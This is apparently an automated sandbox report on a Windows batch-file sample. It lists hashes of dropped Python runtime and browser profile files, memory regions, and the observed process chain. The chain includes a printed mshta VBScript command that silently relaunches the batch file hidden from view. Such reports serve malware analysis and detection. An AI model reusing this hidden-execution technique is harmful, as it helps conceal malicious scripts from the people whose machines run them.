SHA512 cd075e8dfb6b5f7bc265ef49831c90ed80e8f81722892df8bea057e47b86ff69cd15b29dbfeceb6872847b1065b7b35e21336ac0c3e9d337d8deeed8d0e3dcbe

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\encodings\aliases.py

MD5 ff23f6bb45e7b769787b0619b27bc245
SHA1 60172e8c464711cf890bc8a4feccff35aa3de17a
SHA256 1893cfb597bc5eafd38ef03ac85d8874620112514eb42660408811929cc0d6f8
SHA512 ea6b685a859ef2fcd47b8473f43037341049b8ba3eea01d763e2304a2c2adddb01008b58c14b4274d9af8a07f686cd337de25afeb9a252a426d85d3b7d661ef9

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\codecs.cpython-310.pyc

MD5 80b9521754e63cde4e4889290f40775c
SHA1 aa7b23329d95b3f0e344e79ebb371be68bcf57fc
SHA256 0e49e81512423f7635c6ee14a949304522a46d80519790b4920ea76a652e5f68
SHA512 d95a53b312fe830e21ccca945b3cb4631ddf16e14ee51b409f74c05cd78f602dcb1b034c2abe3b853c22ac3029b68ac45347cecab4de20b4c2b4b04c5dabea95

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\codecs.py

MD5 8e0d20f2225ead7947c73c0501010b0e
SHA1 9012e38b8c51213b943e33b8a4228b6b9effc8bc
SHA256 4635485d9d964c57317126894adaca91a027e017aefd8021797b05415e43dbb4
SHA512 d95b672d4be4ca904521c371da4255d9491c9fc4d062eb6cf64ef0ab9cd4207c319bbd5caabe7adb2aaaa5342dee74e3d67c9ea7d2fe55cb1b85df11ee7e3cd3

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\abc.cpython-310.pyc

MD5 dd121ee586d571c8450b3f29b8945d57
SHA1 d6e5c7aeaeffed81c8b40138299109584ce9007d
SHA256 87a7d8741808e69e689aecf0a6e1a62885e808ebb831f61d1623fb3b4028a4da
SHA512 454d71b2dcd9ad036ed92561e9c3e74d6f7b411c193a7eb4d58fa50ec0af07aa29742f77fe956efb139b348a4094d69fab0c77e27aded7bab6cc8f968d8a7d3e

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\site.cpython-310.pyc

MD5 ebd814d61d2872ba538064ba6c60013a
SHA1 4b4a321ac2583126d8f9064df8bb3c5f3415d0d4
SHA256 aa4a8b5d853be58edf6f896274d98b4c1fc69f79d307d57504b30d755ed20305
SHA512 084f091b3297b42b0bd792b224df79abf6ebb629bda76a63f1cec5c09b7d08bc81b151e5671c3b6492c72e14404a2652982d81e11b8b80a0c8e20bb8d547b609

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site.py

MD5 23cf5b302f557f7461555a35a0dc8c15
SHA1 50daac7d361ced925b7fd331f46a3811b2d81238
SHA256 73607e7b809237d5857b98e2e9d503455b33493cde1a03e3899aa16f00502d36
SHA512 e3d8449a8c29931433dfb058ab21db173b7aed8855871e909218da0c36beb36a75d2088a2d6dd849ec3e66532659fdf219de00184b2651c77392994c5692d86b

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\_collections_abc.cpython-310.pyc

MD5 232ffab0a078b435363dcc16c3b4385f
SHA1 2c9e12034dd3fe4371a752fc523cf586b3935687
SHA256 7ed4b9efdf3e9c51c3baa0b16ff4543989a6d879c36bceb0f94a2c2fbcb60f00
SHA512 04bb5c8649c1bf3269dc77dd571ce56d57de192a22ae2b8cb0c8d06b6ea6beca99df49283039d160498baaec8ba67b6422169b82e7b20aa497d3a5a865f89ad9

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\_collections_abc.py

MD5 faa0e5d517cf78b567a197cb397b7efc
SHA1 2d96f3e00ab19484ff2487c5a8b59dfe56a1c3ac
SHA256 266ccceb862ea94e2b74fdda4835f8ef149d95c0fc3aafe12122d0927e686dd3
SHA512 295601f6a33dd0e9c38b5756bfa77c79402e493362fb7f167b98a12208bac765101e91a66398d658e1673b7624c8d1a27f6e12ec32fef22df650b64e7728ca8d

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\stat.cpython-310.pyc

MD5 f309fd05885f7a8d307bc607666e29bc
SHA1 be70a6351f6119a59074880e6447eabf8df741c5
SHA256 f97557d526eac33bf59cbdbe708f055b686f35db721db174ad1ff81b9da7b477
SHA512 ee9fbe6aa18eeb10aa97e7645a7f7081e6f690192a2bd3163b798de1104664a1e1138b028c8293c045a03dd6ed9735c4f99f8b6c4d4bbd0f0fea3afca34e8a41

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\stat.py

MD5 7a7143cbe739708ce5868f02cd7de262
SHA1 e915795b49b849e748cdbd8667c9c89fcdff7baf
SHA256 e514fd41e2933dd1f06be315fb42a62e67b33d04571435a4815a18f490e0f6ce
SHA512 7ecf6ac740b734d26d256fde2608375143c65608934aa51df7af34a1ee22603a790adc5b3d67d6944ba40f6f41064fa4d6957e000de441d99203755820e34d53

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\os.cpython-310.pyc

MD5 b613041e0f7d5787002fb7515775688d
SHA1 03a3c90682f68694175aafbb7ea97c01996e4c0e
SHA256 074a64e009132c864cdd079a0af7df578c0222198c32a45d76e9ebae094f64f6
SHA512 959f9ac73b80bf7fb9a475a14ba2f75569c331a51d53b364325f038898811bb00573f0a6ea9cff7a58ca2f21dac18217a62c18e96d462c91b82bb461c1474758

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\os.py

MD5 8180e937086a657d6b15418ff4215c35
SHA1 232e8f00eed28be655704eccdab3e84d66cc8f53
SHA256 521f714dc038e0faa53e7de3dbccae0631d96a4d2d655f88b970bd8cf29ec750
SHA512 a682a8f878791510a27de3a0e407889d3f37855fb699320b4355b48cb23de69b89dadd77fdcca33ef8e5855278e584b8e7947b626d6623c27521d87eae5a30d5

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\ntpath.py

MD5 7d31906afdc5e38f5f63bfeeb41e2ef2
SHA1 bbefd95b28bac9e58e1f1201ae2b39bbe9c17e5f
SHA256 e34494af36d8b596c98759453262d2778a893daa766f96e1bb1ef89d8b387812
SHA512 641b6b2171bb9aae3603be2cbcc7dd7d45968afeb7e0a9d65c914981957ba51b2a1b7d4d9c6aec88cf92863844761accdeca62db62a13d2bc979e5279d7f87a0

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\ntpath.cpython-310.pyc

MD5 7c5f38e87d5b5dc0101b5cdeec3a0238
SHA1 2c3f6d8b1a0207bda59aa3e868d8f077f92fb885
SHA256 0cd05d2b51e16d5e8e0e4c8f765b6bf32c7b6dcc75922d44e58575de76573ec7
SHA512 52a3e7662baf230880f82fa527b673ce879c6fadffcc564911c7b9fceed37e5c23b01db1aa7b448ea238767f9b5c1cc26127a38d93dbee1dced6b2826de22818

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\genericpath.cpython-310.pyc

MD5 12319160d0f791d3c53950405549dc58
SHA1 231c9d91fc2bb0d9926097b468f94ce7b10f57e7
SHA256 bf0c2fdad80b369422a872791c682bd324650b457d571f0cdc24fc591b47dd97
SHA512 33b284acaaeb250a3305ba33f82418ea4e4dafa7f13eddda227aaea07603dbd201677e4d650dbaa07fd4d6d4b36b9227077fbd9976b474a3673fcb7dab479478

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\genericpath.py

MD5 5ad610407613defb331290ee02154c42
SHA1 3ff9028bdf7346385607b5a3235f5ff703bcf207
SHA256 2e162781cd02127606f3f221fcaa19c183672d1d3e20fdb83fe9950ab5024244
SHA512 9a742c168a6c708a06f4307abcb92cede02400bf53a004669b08bd3757d8db7c660934474ec379c0464e17ffd25310dbab525b6991cf493e97dcd49c4038f9b7

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\_sitebuiltins.py

MD5 2e95aaf9bd176b03867862b6dc08626a
SHA1 3afa2761119af29519dc3dad3d6c1a5abca67108
SHA256 924f95fd516ecaea9c9af540dc0796fb15ec17d8c42b59b90cf57cfe15962e2e
SHA512 080495fb15e7c658094cfe262a8bd884c30580fd6e80839d15873f27be675247e2e8aec603d39b614591a01ed49f5a07dd2ace46181f14b650c5e9ec9bb5c292

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\_sitebuiltins.cpython-310.pyc

MD5 1d857fde4f48feb63cd9928e173ee665
SHA1 2e651afe26129b5752d1946cbedcb16c4698057e
SHA256 be955c26fc209997d7e4c6068b7f5e9b85e135354e5f5e67bd901e2f65294d1a
SHA512 a09632d02ee89b23daf49513de7d3cbd37e44f31bb2effd325ea48c7d964df79dd2a68a7d8d009e3c0252a5be65a9e86e3da3493b2e31915880cf26e1195c58d

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site-packages\distutils-precedence.pth

MD5 18d27e199b0d26ef9b718ce7ff5a8927
SHA1 ea9c9bfc82ad47e828f508742d7296e69d2226e4
SHA256 2638ce9e2500e572a5e0de7faed6661eb569d1b696fcba07b0dd223da5f5d224
SHA512 b8504949f3ddf0089164b0296e8371d7dcdd4c3761fb17478994f5e6943966528a45a226eba2d5286b9c799f0eb8c99bd20cbd8603a362532b3a65dd058fa42e

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site-packages\_distutils_hack\__init__.py

MD5 128079c84580147fd04e7e070340cb16
SHA1 9bd1ae6606ccd247f80960abbc7d7f78aeec4b86
SHA256 4d27a48545b57dd137ae35376fcf326d2064271084a487960686f8704b94de4a
SHA512 cf9d54474347d15ad1b8b89b2e58b850ad3595eec54173745bde86f94f75b39634be195a3aef69d71cb709ecff79c572a66b1458a86fa2779f043a83a5d4cc4c

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc

MD5 bc3d8ef20d3be1df3e4f886361491d71
SHA1 a8fcfb196c403685ec40c16de34b740d34dd891e
SHA256 41e8087df8aed24a55ba7fceb168c78e3662bf5ba3f4f7dd003db05b9edabc4c
SHA512 bcb2da98b795c41d37d66c0ef043c255aae3189b4c002f779ba00f92ec5168caefbe397294475dae645affd8274ce7ffdbcd38c48304a98ab66b2cd01c5c1371

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site-packages\pywin32.pth

MD5 71dc3efaad85e1fd19058e20e083c74f
SHA1 bd05ad717c31dfe5c19e0d35e43667ac84d47655
SHA256 d902584a2a0a5216ce12c712d1378fe07541d32c383d0cc5abcd68412144fe4d
SHA512 9778e9d60038e42927946634e61570587115032c8df026cf2b7a54436f5618369e4b01b4dcf1b4711aab62f38abc82bb65fc13ca6dab5d33b154eb5ea5e5093f

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\base64.py

MD5 430bef083edc3857987fa9fdfad40a1b
SHA1 53bd3144f2a93454d747a765ac63f14056428a19
SHA256 2bdcb6d9edfd97c91bc8ab325fcc3226c71527aa444adb0a4ed70b60c18c388d
SHA512 7c1b8ea49ba078d051f6f21f99d8e51dc25f790e3daff63f733124fc7cf89417a75a8f4565029b1f2eb17f545250e1087f04ecb064022907d2d59f6430912b3a

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\base64.cpython-310.pyc

MD5 a847ea39aacafd875511a086e2bfe2ae
SHA1 55cef5d682fe185807bb948e0d60353278b6609a
SHA256 bf454bbe8c1a8aeb9bfd756877265934a27b72878a0b9fee62482c9248c0af1d
SHA512 1bb159a9c6336d2666fded1471470db31993e1436fc4e35768316165ad90930878456cb6bd2ef36c662caea6fecf18bb4ce921d9dd6f455ee9ed02d10189f1dc

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc

MD5 298391ebf4c22b6ffea67c0f03214bcf
SHA1 f93765c13c21cb81f64f029cc6be37f60603616c
SHA256 6834c2bd4810acd0fcb5bdc6ff5af5ab3631d7cc84aab172beb90de4eb1e04e6
SHA512 f90cd51f1602f7a94e7a988c3868e3ee932216084a2347e9d2ca86b655033251a676b47c4342b8e8598e146b58ac38f038fe695a98730b473e30db7276139497

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\site-packages\win32\lib\pywin32_bootstrap.py

MD5 804dc794e796198af106c20088ab4138
SHA1 004a0f93f15a40f8ed3a5def6c6634937c48836f
SHA256 5b7a20a3b71615e1d08fdd9b91125ca615295457be54a77713705874772ac289
SHA512 00e1033241d3b2843be8a34f89d1f225dbd9f325f7fcee07e64dcf11dd8aab094cf7fb2deaa7ee5dcf3d3285ff54a7aacad88b086655b99f9162d1f653de4a22

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\re.cpython-310.pyc

MD5 b86df6b312122b3fce09665494782806
SHA1 6a5f8ef6811cdda12caa09abb79e609c75a0d181
SHA256 15f33f641c1aa969466e7aece1af4bb17b44b79c1c46de0cb32f2b3ee2fb3f07
SHA512 8d72218197529dda95e2dbce0d2791ca9369264a6cab3efb9fc0a7db2432f04bda870013d2a984ab70dec908d657adc53d9d36c58c55808812e146a098f45f8f

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\enum.cpython-310.pyc

MD5 f67e908dea3ac0c8d38d28e4321f0ce2
SHA1 9a344d2138f6eb9edd2a6d175e9171d41b9ed79a
SHA256 86688baf3ee821608fa7a3abe1597f8544f0261a961243d399bb33064a26b5dd
SHA512 7fc3a915ee6b2bc1a8ab3996976097d6cba8757e0a898630a0244d3bec2b40950763fb0c4c37094db550306e4bdd927c488969b02349fda4d6d189924372cea3

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\enum.py

MD5 f87cac79ab835bac55991134e9c64a35
SHA1 63d509bf705342a967cdd1af116fe2e18cd9346f
SHA256 303afea74d4a1675a48c6a8d7c4764da68dbef1092dc440e4bf3c901f8155609
SHA512 9a087073e285f0f19ab210eceefb9e2284fffd87c273413e66575491023a8dcb4295b7c25388f1c2e8e16a74d3b3bff13ec725be75dc827541e68364e3a95a6d

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\re.py

MD5 f04d4a880157a5a39bbafc0073b8b222
SHA1 92515b53ee029b88b517c1f2f26f6d022561f9b4
SHA256 5ae8929f8c0fb9a0f31520d0a909e5637d86c6debb7c0b8cbacc710c721f9f7d
SHA512 556aaacfc4237b8ab611922e2052407a6be98a7fb6e36e8d3ed14412b22e50abac617477f53acfa99dba1824b379c86376991739d68749eb5f162e020e7999cb

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\types.cpython-310.pyc

MD5 2d99472eeb6d03f66827b833412465d9
SHA1 621c795de49f6d7a86aeaa68ee5351d9b7378726
SHA256 f985d1f979d5c09dee9f6981ae51d6f784a86739f6bb31e295882d536303c898
SHA512 26baedbccf9f10d080897ce9aa3db4de0a552f82527f996214b69eb9674a069087fb2bd07640a6349618a19b9ddb058e18bd2418ff01a0c567668bb49c74922a

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\types.py

MD5 c58c7a4ee7e383be91cd75264d67b13b
SHA1 60914b6f1022249cd5d0cf8caa7adb4dcf34c9ea
SHA256 0d3a1a2f8f0e286ad9eadbb397af0c2dc4bef0c71a7ebe4b51ded9862a301b01
SHA512 9450e434c0d4abb93fa4ca2049626c05f65d4fb796d17ac5e504b8ec086abec00dcdc54319c1097d20e6e1eec82529993482e37a0bf9675328421f1fa073bf04

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\sre_compile.cpython-310.pyc

MD5 26391239122a61845819ae498cfb5ede
SHA1 745b887f93a9a7805daf8cb604cba7713584bc60
SHA256 6b61e840165345e81f5e1f2f99f9bc9739c0ee610d79c2f7ea0a9949f023390d
SHA512 757f78dc76e9ca02c40f81a17d91e1af616b0ca48ac26eceb683eb9dbf74ec12a71321b04f1d4777aafdc4f3be13c9cf8c7248e5ff7ed22cda2ea708726a2971

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\sre_parse.cpython-310.pyc

MD5 ae52c0848bda7c5a3c99d5594220a040
SHA1 3e12116e5296c3363896d564bcff8e0a37fd4328
SHA256 2da80b594bdb3d6621b3dd9bc4a85482788d62eb73d05968d007daec4346000d
SHA512 dcc357dc201c18465cb5ad25f018c0ee1ad18952757f5de33e4385dc243e3033f98bd3908cba08bf06ad323cd899e5479fed96ba6eede8dca987d9492393afff

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\sre_parse.py

MD5 d1af43b8e4f286625a0144373cf0de28
SHA1 7fbd019519c5223d67311e51150595022d95fe86
SHA256 c029a310e36013abc15610ff09a1e31d9fb1a0e4c60293150722c08fc9e7b090
SHA512 75ab3b5a2aad2ac44ab63028982a94bb718aaf6c67f6b59a8edc8c2c49287dd16667923e1889c68404053d61df742864a6e85545bbfb17624a5844bb049767f9

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\sre_constants.cpython-310.pyc

MD5 dedef293d6f61df5dce1a210068d4b9c
SHA1 786d647fd01ac5edec4bf223c82e469748e692cb
SHA256 dd53842a725d5d5c73353541c8b18712dff626fbcfb2512a88f41eb03477891d
SHA512 8cbe206c84f178d188a7328d2479c911d814cc7e3bb0127afed39dce77524863c19d5222b4103798f18310fd4ea22f3eabf2c38039369bbca25c61c2502a4ec2

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\functools.cpython-310.pyc

MD5 e58ac123e589a971f23ebb228840e6c5
SHA1 b55a5969a724b7f49983724d44c36720d02ac52d
SHA256 a5892e06a01a95ed301392dc417afbc3f70772cc13b8bf22e56059cda79e0acc
SHA512 bae1e4ca32931404981b005dc4d9c1ef212a36be74a7b2ff29de9efd3f70df0547026f0abee1e171815314e2b30119e0372bfafa09b4faef05b645c414f231a9

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\functools.py

MD5 e451c9675e4233de278acf700ac7395f
SHA1 1e7d4c5db5fc692540c31e1b4db4679051eb5df8
SHA256 b4698d03b4d366f2b032f5de66b8181ed8e371c0d7d714b7672432e18d80636b
SHA512 4db40159db7427ce05d36aa3a6b05151742e6c122dfbdc679c10dcc667fc999ff1302bb2e2be6f58b895911cf436b27ad78fd64ccf077deb94046667520111b9

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\sre_constants.py

MD5 bca79743254aa4bc94dace167a8b0871
SHA1 d1da34fbe097f054c773ff8040d2e3852c3d77f1
SHA256 513373cde5987d794dc429f7c71a550fe49e274bf82d0856bec40dca4079dadc
SHA512 1c0ab3ce7b24acd2ffbd39a9d4bf343aa670525465b265a6572bdec2036b1a72aaafe07afe63a21246456427f10be519aeee9fc707cbb0151ac1e180239ad2af

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\sre_compile.py

MD5 f09eb9e5e797b7b1b4907818fef9b165
SHA1 8f9e2bc760c7a2245cae4628caecdf1ada35f46d
SHA256 cdb9bdcab7a6fa98f45ef47d3745ac86725a89c5baf80771f0451d90058a21d6
SHA512 e71fb7b290bb46aee4237dbf7ff4adc2f4491b1fc1c48bd414f5ce376d818564fd37b6113997a630393d9342179fcb7ce0462d6aad5115e944f8c0ccab1fa503

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\collections\__init__.py

MD5 4f8c270f0ffe58f5c0bf455403ef3f44
SHA1 8c0de07c711cd9486a3ff0d2fc8a5cd4c13ae01a
SHA256 2e5f3a5a7de17bc2b2e749f0d2a1387de2280a0824856360a041b2ca75e77194
SHA512 418971a91d03756a0b2790286f67135ee386aaa0817932130ddba8b68de601d5e29a3dccef1d965bae22e66606c0a3132d179abec7e9296b715e1aad1e6bdfac

C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\collections\__pycache__\__init__.cpython-310.pyc

MD5 714288792cb968f2d935c19ddd954df3
SHA1 bdc906d7cd77251d718ea309cc8f7a57f4417490
SHA256 84f4c2c9d3aee059fa4363ae9271c1ec8dc301988ff6901322c2ad598f676f55
SHA512 dea7a93e798593475ee5f31f4b4646408c72ffcc1760343d720638daf13a3b0d783be05bf12b15c389c9b5cc6a7134d2b27dc7150e2d1119e0be9141b86fbb01

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 36988ca14952e1848e81a959880ea217
SHA1 a0482ef725657760502c2d1a5abe0bb37aebaadb
SHA256 d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6
SHA512 d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 fab8d8d865e33fe195732aa7dcb91c30
SHA1 2637e832f38acc70af3e511f5eba80fbd7461f2c
SHA256 1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea
SHA512 39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 1f1a2da43356330114701db3bb566b5a
SHA1 40b3a0b525aa0424644c1d98184acce0106ebb21
SHA256 8f7b06e861bb5a469e450bbe2a441c4e899de8bcdf06d10350571082e8da41de
SHA512 bb6fb1ee650fa660c786d39ba8a5e4fe3320e1851e493e9da183a41d26050f803f008088836aac3d299d20d218a2cdbf6619491c8cade1072952b92bf7998324

memory/4816-12471-0x00000000052C0000-0x00000000052D1000-memory.dmp

memory/4816-12472-0x0000000007BC0000-0x0000000007BD0000-memory.dmp

memory/4816-12473-0x0000000007CA0000-0x0000000007D3C000-memory.dmp

memory/4816-12474-0x00000000084E0000-0x0000000008A84000-memory.dmp

memory/4816-12475-0x0000000007FA0000-0x0000000008006000-memory.dmp

memory/4816-12476-0x00000000081B0000-0x0000000008242000-memory.dmp

memory/4816-12477-0x00000000084C0000-0x00000000084CA000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 03:09

Reported

2024-11-14 03:11

Platform

win7-20240903-en

Max time kernel

118s

Max time network

120s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat"

Signatures

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\system32\mshta.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2200 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 2200 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 2200 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 2200 wrote to memory of 2512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2200 wrote to memory of 2512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2200 wrote to memory of 2512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2512 wrote to memory of 1948 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 1948 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 1948 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 1948 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 1948 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 1948 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\mshta.exe

mshta vbscript:createobject("wscript.shell").run("""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT"" ::",0)(window.close)

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT" ::"

C:\Windows\system32\chcp.com

chcp 65001

Network

N/A

Files

N/A